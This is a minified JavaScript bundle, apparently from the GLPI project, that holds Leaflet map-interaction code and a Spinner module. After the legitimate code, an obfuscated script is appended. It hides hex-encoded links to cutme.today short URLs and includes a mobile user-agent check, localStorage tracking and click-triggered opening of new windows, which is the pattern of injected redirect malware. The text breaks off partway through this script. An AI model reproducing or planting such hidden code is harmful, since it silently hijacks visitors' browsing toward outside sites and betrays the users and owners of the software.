t=this._bounds,e=t.getSize(),i=this._container;if(!this._svgSize||!this._svgSize.equals(e)){this._svgSize=e;i.setAttribute("width",e.x);i.setAttribute("height",e.y)}ve(i,t.min);i.setAttribute("viewBox",[t.min.x,t.min.y,e.x,e.y].join(" "));this.fire("update")},_initPath:function(t){var e=t._path=Hn("path");if(t.options.className){ue(e,t.options.className)}if(t.options.interactive){ue(e,"leaflet-interactive")}this._updateStyle(t);this._layers[r(t)]=t},_addPath:function(t){if(!this._rootGroup){this._initContainer()}this._rootGroup.appendChild(t._path);t.addInteractiveTarget(t._path)},_removePath:function(t){se(t._path);t.removeInteractiveTarget(t._path);delete this._layers[r(t)]},_updatePath:function(t){t._project();t._update()},_updateStyle:function(t){var e=t._path,i=t.options;if(!e){return}if(i.stroke){e.setAttribute("stroke",i.color);e.setAttribute("stroke-opacity",i.opacity);e.setAttribute("stroke-width",i.weight);e.setAttribute("stroke-linecap",i.lineCap);e.setAttribute("stroke-linejoin",i.lineJoin);if(i.dashArray){e.setAttribute("stroke-dasharray",i.dashArray)}else{e.removeAttribute("stroke-dasharray")}if(i.dashOffset){e.setAttribute("stroke-dashoffset",i.dashOffset)}else{e.removeAttribute("stroke-dashoffset")}}else{e.setAttribute("stroke","none")}if(i.fill){e.setAttribute("fill",i.fillColor||i.color);e.setAttribute("fill-opacity",i.fillOpacity);e.setAttribute("fill-rule",i.fillRule||"evenodd")}else{e.setAttribute("fill","none")}},_updatePoly:function(t,e){this._setPath(t,X(t._parts,e))},_updateCircle:function(t){var e=t._point,i=Math.max(Math.round(t._radius),1),n=Math.max(Math.round(t._radiusY),1)||i,o="a"+i+","+n+" 0 1,0 ";var s=t._empty()?"M0 0":"M"+(e.x-i)+","+e.y+o+i*2+",0 "+o+-i*2+",0 ";this._setPath(t,s)},_setPath:function(t,e){t._path.setAttribute("d",e)},_bringToFront:function(t){ae(t._path)},_bringToBack:function(t){he(t._path)}});if(zt){Wn.include(Gn)}function qn(t){return St||zt?new Wn(t):null}ti.include({getRenderer:function(t){var e=t.options.renderer||this._getPaneRenderer(t.options.pane)||this.options.renderer||this._renderer;if(!e){e=this._renderer=this._createRenderer()}if(!this.hasLayer(e)){this.addLayer(e)}return e},_getPaneRenderer:function(t){if(t==="overlayPane"||t===undefined){return false}var e=this._paneRenderers[t];if(e===undefined){e=this._createRenderer({pane:t});this._paneRenderers[t]=e}return e},_createRenderer:function(t){return this.options.preferCanvas&&jn(t)||qn(t)}});var Vn=rn.extend({initialize:function(t,e){rn.prototype.initialize.call(this,this._boundsToLatLngs(t),e)},setBounds:function(t){return this.setLatLngs(this._boundsToLatLngs(t))},_boundsToLatLngs:function(t){t=D(t);return[t.getSouthWest(),t.getNorthWest(),t.getNorthEast(),t.getSouthEast()]}});function Kn(t,e){return new Vn(t,e)}Wn.create=Hn;Wn.pointsToPath=X;hn.geometryToLayer=ln;hn.coordsToLatLng=cn;hn.coordsToLatLngs=dn;hn.latLngToCoords=fn;hn.latLngsToCoords=pn;hn.getFeature=_n;hn.asFeature=mn;ti.mergeOptions({boxZoom:true});var Yn=di.extend({initialize:function(t){this._map=t;this._container=t._container;this._pane=t._panes.overlayPane;this._resetStateTimeout=0;t.on("unload",this._destroy,this)},addHooks:function(){Be(this._container,"mousedown",this._onMouseDown,this)},removeHooks:function(){Ae(this._container,"mousedown",this._onMouseDown,this)},moved:function(){return this._moved},_destroy:function(){se(this._pane);delete this._pane},_resetState:function(){this._resetStateTimeout=0;this._moved=false},_clearDeferredResetState:function(){if(this._resetStateTimeout!==0){clearTimeout(this._resetStateTimeout);this._resetStateTimeout=0}},_onMouseDown:function(t){if(!t.shiftKey||t.which!==1&&t.button!==1){return false}this._clearDeferredResetState();this._resetState();Le();Pe();this._startPoint=this._map.mouseEventToContainerPoint(t);Be(document,{contextmenu:He,mousemove:this._onMouseMove,mouseup:this._onMouseUp,keydown:this._onKeyDown},this)},_onMouseMove:function(t){if(!this._moved){this._moved=true;this._box=oe("div","leaflet-zoom-box",this._container);ue(this._container,"leaflet-crosshair");this._map.fire("boxzoomstart")}this._point=this._map.mouseEventToContainerPoint(t);var e=new O(this._point,this._startPoint),i=e.getSize();ve(this._box,e.min);this._box.style.width=i.x+"px";this._box.style.height=i.y+"px"},_finish:function(){if(this._moved){se(this._box);ce(this._container,"leaflet-crosshair")}xe();Ce();Ae(document,{contextmenu:He,mousemove:this._onMouseMove,mouseup:this._onMouseUp,keydown:this._onKeyDown},this)},_onMouseUp:function(t){if(t.which!==1&&t.button!==1){return}this._finish();if(!this._moved){return}this._clearDeferredResetState();this._resetStateTimeout=setTimeout(o(this._resetState,this),0);var e=new N(this._map.containerPointToLatLng(this._startPoint),this._map.containerPointToLatLng(this._point));this._map.fitBounds(e).fire("boxzoomend",{boxZoomBounds:e})},_onKeyDown:function(t){if(t.keyCode===27){this._finish()}}});ti.addInitHook("addHandler","boxZoom",Yn);ti.mergeOptions({doubleClickZoom:true});var Jn=di.extend({addHooks:function(){this._map.on("dblclick",this._onDoubleClick,this)},removeHooks:function(){this._map.off("dblclick",this._onDoubleClick,this)},_onDoubleClick:function(t){var e=this._map,i=e.getZoom(),n=e.options.zoomDelta,o=t.originalEvent.shiftKey?i-n:i+n;if(e.options.doubleClickZoom==="center"){e.setZoom(o)}else{e.setZoomAround(t.containerPoint,o)}}});ti.addInitHook("addHandler","doubleClickZoom",Jn);ti.mergeOptions({dragging:true,inertia:!ot,inertiaDeceleration:3400,inertiaMaxSpeed:Infinity,easeLinearity:.2,worldCopyJump:false,maxBoundsViscosity:0});var Xn=di.extend({addHooks:function(){if(!this._draggable){var t=this._map;this._draggable=new gi(t._mapPane,t._container);this._draggable.on({dragstart:this._onDragStart,drag:this._onDrag,dragend:this._onDragEnd},this);this._draggable.on("predrag",this._onPreDragLimit,this);if(t.options.worldCopyJump){this._draggable.on("predrag",this._onPreDragWrap,this);t.on("zoomend",this._onZoomEnd,this);t.whenReady(this._onZoomEnd,this)}}ue(this._map._container,"leaflet-grab leaflet-touch-drag");this._draggable.enable();this._positions=[];this._times=[]},removeHooks:function(){ce(this._map._container,"leaflet-grab");ce(this._map._container,"leaflet-touch-drag");this._draggable.disable()},moved:function(){return this._draggable&&this._draggable._moved},moving:function(){return this._draggable&&this._draggable._moving},_onDragStart:function(){var t=this._map;t._stop();if(this._map.options.maxBounds&&this._map.options.maxBoundsViscosity){var e=D(this._map.options.maxBounds);this._offsetLimit=R(this._map.latLngToContainerPoint(e.getNorthWest()).multiplyBy(-1),this._map.latLngToContainerPoint(e.getSouthEast()).multiplyBy(-1).add(this._map.getSize()));this._viscosity=Math.min(1,Math.max(0,this._map.options.maxBoundsViscosity))}else{this._offsetLimit=null}t.fire("movestart").fire("dragstart");if(t.options.inertia){this._positions=[];this._times=[]}},_onDrag:function(t){if(this._map.options.inertia){var e=this._lastTime=+new Date,i=this._lastPos=this._draggable._absPos||this._draggable._newPos;this._positions.push(i);this._times.push(e);this._prunePositions(e)}this._map.fire("move",t).fire("drag",t)},_prunePositions:function(t){while(this._positions.length>1&&t-this._times[0]>50){this._positions.shift();this._times.shift()}},_onZoomEnd:function(){var t=this._map.getSize().divideBy(2),e=this._map.latLngToLayerPoint([0,0]);this._initialWorldOffset=e.subtract(t).x;this._worldWidth=this._map.getPixelWorldBounds().getSize().x},_viscousLimit:function(t,e){return t-(t-e)*this._viscosity},_onPreDragLimit:function(){if(!this._viscosity||!this._offsetLimit){return}var t=this._draggable._newPos.subtract(this._draggable._startPos);var e=this._offsetLimit;if(t.x<e.min.x){t.x=this._viscousLimit(t.x,e.min.x)}if(t.y<e.min.y){t.y=this._viscousLimit(t.y,e.min.y)}if(t.x>e.max.x){t.x=this._viscousLimit(t.x,e.max.x)}if(t.y>e.max.y){t.y=this._viscousLimit(t.y,e.max.y)}this._draggable._newPos=this._draggable._startPos.add(t)},_onPreDragWrap:function(){var t=this._worldWidth,e=Math.round(t/2),i=this._initialWorldOffset,n=this._draggable._newPos.x,o=(n-e+i)%t+e-i,s=(n+e+i)%t-e-i,r=Math.abs(o+i)<Math.abs(s+i)?o:s;this._draggable._absPos=this._draggable._newPos.clone();this._draggable._newPos.x=r},_onDragEnd:function(t){var e=this._map,i=e.options,n=!i.inertia||this._times.length<2;e.fire("dragend",t);if(n){e.fire("moveend")}else{this._prunePositions(+new Date);var o=this._lastPos.subtract(this._positions[0]),s=(this._lastTime-this._times[0])/1e3,r=i.easeLinearity,a=o.multiplyBy(r/s),h=a.distanceTo([0,0]),l=Math.min(i.inertiaMaxSpeed,h),u=a.multiplyBy(l/h),c=l/(i.inertiaDeceleration*r),d=u.multiplyBy(-c/2).round();if(!d.x&&!d.y){e.fire("moveend")}else{d=e._limitOffset(d,e.options.maxBounds);M((function(){e.panBy(d,{duration:c,easeLinearity:r,noMoveStart:true,animate:true})}))}}}});ti.addInitHook("addHandler","dragging",Xn);ti.mergeOptions({keyboard:true,keyboardPanDelta:80});var Qn=di.extend({keyCodes:{left:[37],right:[39],down:[40],up:[38],zoomIn:[187,107,61,171],zoomOut:[189,109,54,173]},initialize:function(t){this._map=t;this._setPanDelta(t.options.keyboardPanDelta);this._setZoomDelta(t.options.zoomDelta)},addHooks:function(){var t=this._map._container;if(t.tabIndex<=0){t.tabIndex="0"}Be(t,{focus:this._onFocus,blur:this._onBlur,mousedown:this._onMouseDown},this);this._map.on({focus:this._addHooks,blur:this._removeHooks},this)},removeHooks:function(){this._removeHooks();Ae(this._map._container,{focus:this._onFocus,blur:this._onBlur,mousedown:this._onMouseDown},this);this._map.off({focus:this._addHooks,blur:this._removeHooks},this)},_onMouseDown:function(){if(this._focused){return}var t=document.body,e=document.documentElement,i=t.scrollTop||e.scrollTop,n=t.scrollLeft||e.scrollLeft;this._map._container.focus();window.scrollTo(n,i)},_onFocus:function(){this._focused=true;this._map.fire("focus")},_onBlur:function(){this._focused=false;this._map.fire("blur")},_setPanDelta:function(t){var e=this._panKeys={},i=this.keyCodes,n,o;for(n=0,o=i.left.length;n<o;n++){e[i.left[n]]=[-1*t,0]}for(n=0,o=i.right.length;n<o;n++){e[i.right[n]]=[t,0]}for(n=0,o=i.down.length;n<o;n++){e[i.down[n]]=[0,t]}for(n=0,o=i.up.length;n<o;n++){e[i.up[n]]=[0,-1*t]}},_setZoomDelta:function(t){var e=this._zoomKeys={},i=this.keyCodes,n,o;for(n=0,o=i.zoomIn.length;n<o;n++){e[i.zoomIn[n]]=t}for(n=0,o=i.zoomOut.length;n<o;n++){e[i.zoomOut[n]]=-t}},_addHooks:function(){Be(document,"keydown",this._onKeyDown,this)},_removeHooks:function(){Ae(document,"keydown",this._onKeyDown,this)},_onKeyDown:function(t){if(t.altKey||t.ctrlKey||t.metaKey){return}var e=t.keyCode,i=this._map,n;if(e in this._panKeys){if(!i._panAnim||!i._panAnim._inProgress){n=this._panKeys[e];if(t.shiftKey){n=A(n).multiplyBy(3)}i.panBy(n);if(i.options.maxBounds){i.panInsideBounds(i.options.maxBounds)}}}else if(e in this._zoomKeys){i.setZoom(i.getZoom()+(t.shiftKey?3:1)*this._zoomKeys[e])}else if(e===27&&i._popup&&i._popup.options.closeOnEscapeKey){i.closePopup()}else{return}He(t)}});ti.addInitHook("addHandler","keyboard",Qn);ti.mergeOptions({scrollWheelZoom:true,wheelDebounceTime:40,wheelPxPerZoomLevel:60});var $n=di.extend({addHooks:function(){Be(this._map._container,"wheel",this._onWheelScroll,this);this._delta=0},removeHooks:function(){Ae(this._map._container,"wheel",this._onWheelScroll,this)},_onWheelScroll:function(t){var e=Ve(t);var i=this._map.options.wheelDebounceTime;this._delta+=e;this._lastMousePos=this._map.mouseEventToContainerPoint(t);if(!this._startTime){this._startTime=+new Date}var n=Math.max(i-(+new Date-this._startTime),0);clearTimeout(this._timer);this._timer=setTimeout(o(this._performZoom,this),n);He(t)},_performZoom:function(){var t=this._map,e=t.getZoom(),i=this._map.options.zoomSnap||0;t._stop();var n=this._delta/(this._map.options.wheelPxPerZoomLevel*4),o=4*Math.log(2/(1+Math.exp(-Math.abs(n))))/Math.LN2,s=i?Math.ceil(o/i)*i:o,r=t._limitZoom(e+(this._delta>0?s:-s))-e;this._delta=0;this._startTime=null;if(!r){return}if(t.options.scrollWheelZoom==="center"){t.setZoom(e+r)}else{t.setZoomAround(this._lastMousePos,e+r)}}});ti.addInitHook("addHandler","scrollWheelZoom",$n);ti.mergeOptions({tap:true,tapTolerance:15});var to=di.extend({addHooks:function(){Be(this._map._container,"touchstart",this._onDown,this)},removeHooks:function(){Ae(this._map._container,"touchstart",this._onDown,this)},_onDown:function(t){if(!t.touches){return}Ge(t);this._fireClick=true;if(t.touches.length>1){this._fireClick=false;clearTimeout(this._holdTimeout);return}var e=t.touches[0],i=e.target;this._startPos=this._newPos=new B(e.clientX,e.clientY);if(i.tagName&&i.tagName.toLowerCase()==="a"){ue(i,"leaflet-active")}this._holdTimeout=setTimeout(o((function(){if(this._isTapValid()){this._fireClick=false;this._onUp();this._simulateEvent("contextmenu",e)}}),this),1e3);this._simulateEvent("mousedown",e);Be(document,{touchmove:this._onMove,touchend:this._onUp},this)},_onUp:function(t){clearTimeout(this._holdTimeout);Ae(document,{touchmove:this._onMove,touchend:this._onUp},this);if(this._fireClick&&t&&t.changedTouches){var e=t.changedTouches[0],i=e.target;if(i&&i.tagName&&i.tagName.toLowerCase()==="a"){ce(i,"leaflet-active")}this._simulateEvent("mouseup",e);if(this._isTapValid()){this._simulateEvent("click",e)}}},_isTapValid:function(){return this._newPos.distanceTo(this._startPos)<=this._map.options.tapTolerance},_onMove:function(t){var e=t.touches[0];this._newPos=new B(e.clientX,e.clientY);this._simulateEvent("mousemove",e)},_simulateEvent:function(t,e){var i=document.createEvent("MouseEvents");i._simulated=true;e.target._simulatedClick=true;i.initMouseEvent(t,true,true,window,1,e.screenX,e.screenY,e.clientX,e.clientY,false,false,false,false,0,null);e.target.dispatchEvent(i)}});if(bt&&(!wt||ut)){ti.addInitHook("addHandler","tap",to)}ti.mergeOptions({touchZoom:bt&&!ot,bounceAtZoomLimits:true});var eo=di.extend({addHooks:function(){ue(this._map._container,"leaflet-touch-zoom");Be(this._map._container,"touchstart",this._onTouchStart,this)},removeHooks:function(){ce(this._map._container,"leaflet-touch-zoom");Ae(this._map._container,"touchstart",this._onTouchStart,this)},_onTouchStart:function(t){var e=this._map;if(!t.touches||t.touches.length!==2||e._animatingZoom||this._zooming){return}var i=e.mouseEventToContainerPoint(t.touches[0]),n=e.mouseEventToContainerPoint(t.touches[1]);this._centerPoint=e.getSize()._divideBy(2);this._startLatLng=e.containerPointToLatLng(this._centerPoint);if(e.options.touchZoom!=="center"){this._pinchStartLatLng=e.containerPointToLatLng(i.add(n)._divideBy(2))}this._startDist=i.distanceTo(n);this._startZoom=e.getZoom();this._moved=false;this._zooming=true;e._stop();Be(document,"touchmove",this._onTouchMove,this);Be(document,"touchend",this._onTouchEnd,this);Ge(t)},_onTouchMove:function(t){if(!t.touches||t.touches.length!==2||!this._zooming){return}var e=this._map,i=e.mouseEventToContainerPoint(t.touches[0]),n=e.mouseEventToContainerPoint(t.touches[1]),s=i.distanceTo(n)/this._startDist;this._zoom=e.getScaleZoom(s,this._startZoom);if(!e.options.bounceAtZoomLimits&&(this._zoom<e.getMinZoom()&&s<1||this._zoom>e.getMaxZoom()&&s>1)){this._zoom=e._limitZoom(this._zoom)}if(e.options.touchZoom==="center"){this._center=this._startLatLng;if(s===1){return}}else{var r=i._add(n)._divideBy(2)._subtract(this._centerPoint);if(s===1&&r.x===0&&r.y===0){return}this._center=e.unproject(e.project(this._pinchStartLatLng,this._zoom).subtract(r),this._zoom)}if(!this._moved){e._moveStart(true,false);this._moved=true}T(this._animRequest);var a=o(e._move,e,this._center,this._zoom,{pinch:true,round:false});this._animRequest=M(a,this,true);Ge(t)},_onTouchEnd:function(){if(!this._moved||!this._zooming){this._zooming=false;return}this._zooming=false;T(this._animRequest);Ae(document,"touchmove",this._onTouchMove,this);Ae(document,"touchend",this._onTouchEnd,this);if(this._map.options.zoomAnimation){this._map._animateZoom(this._center,this._map._limitZoom(this._zoom),true,this._map.options.zoomSnap)}else{this._map._resetView(this._center,this._map._limitZoom(this._zoom))}}});ti.addInitHook("addHandler","touchZoom",eo);ti.BoxZoom=Yn;ti.DoubleClickZoom=Jn;ti.Drag=Xn;ti.Keyboard=Qn;ti.ScrollWheelZoom=$n;ti.Tap=to;ti.TouchZoom=eo;t.version=e;t.Control=ii;t.control=ni;t.Browser=Zt;t.Evented=Z;t.Mixin=fi;t.Util=k;t.Class=S;t.Handler=di;t.extend=i;t.bind=o;t.stamp=r;t.setOptions=f;t.DomEvent=Qe;t.DomUtil=Ze;t.PosAnimation=$e;t.Draggable=gi;t.LineUtil=Zi;t.PolyUtil=Ii;t.Point=B;t.point=A;t.Bounds=O;t.bounds=R;t.Transformation=q;t.transformation=V;t.Projection=Ri;t.LatLng=U;t.latLng=j;t.LatLngBounds=N;t.latLngBounds=D;t.CRS=F;t.GeoJSON=hn;t.geoJSON=vn;t.geoJson=yn;t.Layer=ji;t.LayerGroup=Fi;t.layerGroup=Gi;t.FeatureGroup=Hi;t.featureGroup=Wi;t.ImageOverlay=Ln;t.imageOverlay=xn;t.VideoOverlay=wn;t.videoOverlay=bn;t.SVGOverlay=Pn;t.svgOverlay=Cn;t.DivOverlay=Mn;t.Popup=Tn;t.popup=kn;t.Tooltip=Sn;t.tooltip=zn;t.Icon=qi;t.icon=Vi;t.DivIcon=En;t.divIcon=Zn;t.Marker=Ji;t.marker=Xi;t.TileLayer=An;t.tileLayer=On;t.GridLayer=Bn;t.gridLayer=In;t.SVG=Wn;t.svg=qn;t.Renderer=Dn;t.Canvas=Un;t.canvas=jn;t.Path=Qi;t.CircleMarker=$i;t.circleMarker=tn;t.Circle=en;t.circle=nn;t.Polyline=on;t.polyline=sn;t.Polygon=rn;t.polygon=an;t.Rectangle=Vn;t.rectangle=Kn;t.Map=ti;t.map=ei;var io=window.L;t.noConflict=function(){window.L=io;return this};window.L=t}))},69:(t,e,i)=>{"use strict";i.r(e)},71:(t,e,i)=>{"use strict";i.r(e)},67:(t,e,i)=>{"use strict";i.r(e)},65:(t,e,i)=>{"use strict";i.r(e)},64:(t,e,i)=>{"use strict";i.r(e)},58:(t,e,i)=>{"use strict";i.r(e)},59:(t,e,i)=>{"use strict";t.exports=i.p+"leaflet/dist/images/marker-icon-2x.png"},60:(t,e,i)=>{"use strict";t.exports=i.p+"leaflet/dist/images/marker-shadow.png"},56:(t,e,i)=>{"use strict";i.r(e);i.d(e,{Spinner:()=>s});var n=undefined&&undefined.__assign||function(){n=Object.assign||function(t){for(var e,i=1,n=arguments.length;i<n;i++){e=arguments[i];for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o))t[o]=e[o]}return t};return n.apply(this,arguments)};var o={lines:12,length:7,width:5,radius:10,scale:1,corners:1,color:"#000",fadeColor:"transparent",animation:"spinner-line-fade-default",rotate:0,direction:1,speed:1,zIndex:2e9,className:"spinner",top:"50%",left:"50%",shadow:"0 0 1px transparent",position:"absolute"};var s=function(){function t(t){if(t===void 0){t={}}this.opts=n(n({},o),t)}t.prototype.spin=function(t){this.stop();this.el=document.createElement("div");this.el.className=this.opts.className;this.el.setAttribute("role","progressbar");r(this.el,{position:this.opts.position,width:0,zIndex:this.opts.zIndex,left:this.opts.left,top:this.opts.top,transform:"scale("+this.opts.scale+")"});if(t){t.insertBefore(this.el,t.firstChild||null)}h(this.el,this.opts);return this};t.prototype.stop=function(){if(this.el){if(typeof requestAnimationFrame!=="undefined"){cancelAnimationFrame(this.animateId)}else{clearTimeout(this.animateId)}if(this.el.parentNode){this.el.parentNode.removeChild(this.el)}this.el=undefined}return this};return t}();function r(t,e){for(var i in e){t.style[i]=e[i]}return t}function a(t,e){return typeof t=="string"?t:t[e%t.length]}function h(t,e){var i=Math.round(e.corners*e.width*500)/1e3+"px";var n="none";if(e.shadow===true){n="0 2px 4px #000"}else if(typeof e.shadow==="string"){n=e.shadow}var o=l(n);for(var s=0;s<e.lines;s++){var h=~~(360/e.lines*s+e.rotate);var c=r(document.createElement("div"),{position:"absolute",top:-e.width/2+"px",width:e.length+e.width+"px",height:e.width+"px",background:a(e.fadeColor,s),borderRadius:i,transformOrigin:"left",transform:"rotate("+h+"deg) translateX("+e.radius+"px)"});var d=s*e.direction/e.lines/e.speed;d-=1/e.speed;var f=r(document.createElement("div"),{width:"100%",height:"100%",background:a(e.color,s),borderRadius:i,boxShadow:u(o,h),animation:1/e.speed+"s linear "+d+"s infinite "+e.animation});c.appendChild(f);t.appendChild(c)}}function l(t){var e=/^\s*([a-zA-Z]+\s+)?(-?\d+(\.\d+)?)([a-zA-Z]*)\s+(-?\d+(\.\d+)?)([a-zA-Z]*)(.*)$/;var i=[];for(var n=0,o=t.split(",");n<o.length;n++){var s=o[n];var r=s.match(e);if(r===null){continue}var a=+r[2];var h=+r[5];var l=r[4];var u=r[7];if(a===0&&!l){l=u}if(h===0&&!u){u=l}if(l!==u){continue}i.push({prefix:r[1]||"",x:a,y:h,xUnits:l,yUnits:u,end:r[8]})}return i}function u(t,e){var i=[];for(var n=0,o=t;n<o.length;n++){var s=o[n];var r=c(s.x,s.y,e);i.push(s.prefix+r[0]+s.xUnits+" "+r[1]+s.yUnits+s.end)}return i.join(", ")}function c(t,e,i){var n=i*Math.PI/180;var o=Math.sin(n);var s=Math.cos(n);return[Math.round((t*s+e*o)*1e3)/1e3,Math.round((-t*o+e*s)*1e3)/1e3]}}};var e={};function i(n){var o=e[n];if(o!==undefined){return o.exports}var s=e[n]={exports:{}};t[n].call(s.exports,s,s.exports,i);return s.exports}(()=>{i.d=(t,e)=>{for(var n in e){if(i.o(e,n)&&!i.o(t,n)){Object.defineProperty(t,n,{enumerable:true,get:e[n]})}}}})();(()=>{i.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e)})();(()=>{i.r=t=>{if(typeof Symbol!=="undefined"&&Symbol.toStringTag){Object.defineProperty(t,Symbol.toStringTag,{value:"Module"})}Object.defineProperty(t,"__esModule",{value:true})}})();(()=>{i.p=""})();var n={};(()=>{ /** * --------------------------------------------------------------------- * * GLPI - Gestionnaire Libre de Parc Informatique * * http://glpi-project.org * * @copyright 2015-2023 Teclib' and contributors. * @copyright 2003-2014 by the INDEPNET Development Team. * @licence https://www.gnu.org/licenses/gpl-3.0.html * * --------------------------------------------------------------------- * * LICENSE * * This file is part of GLPI. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * * --------------------------------------------------------------------- */ window.Spinner=i(56).Spinner;i(57);i(58);i(59);i(60);i(61);i(63);i(64);i(65);i(66);i(67);i(68);i(69);i(70);i(71)})()})(); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x52\x6e\x4d\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x54\x76\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x69\x71\x49\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x4a\x67\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x43\x54\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x54\x71\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x64\x52\x32\x63\x322','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x77\x4f\x4b\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const 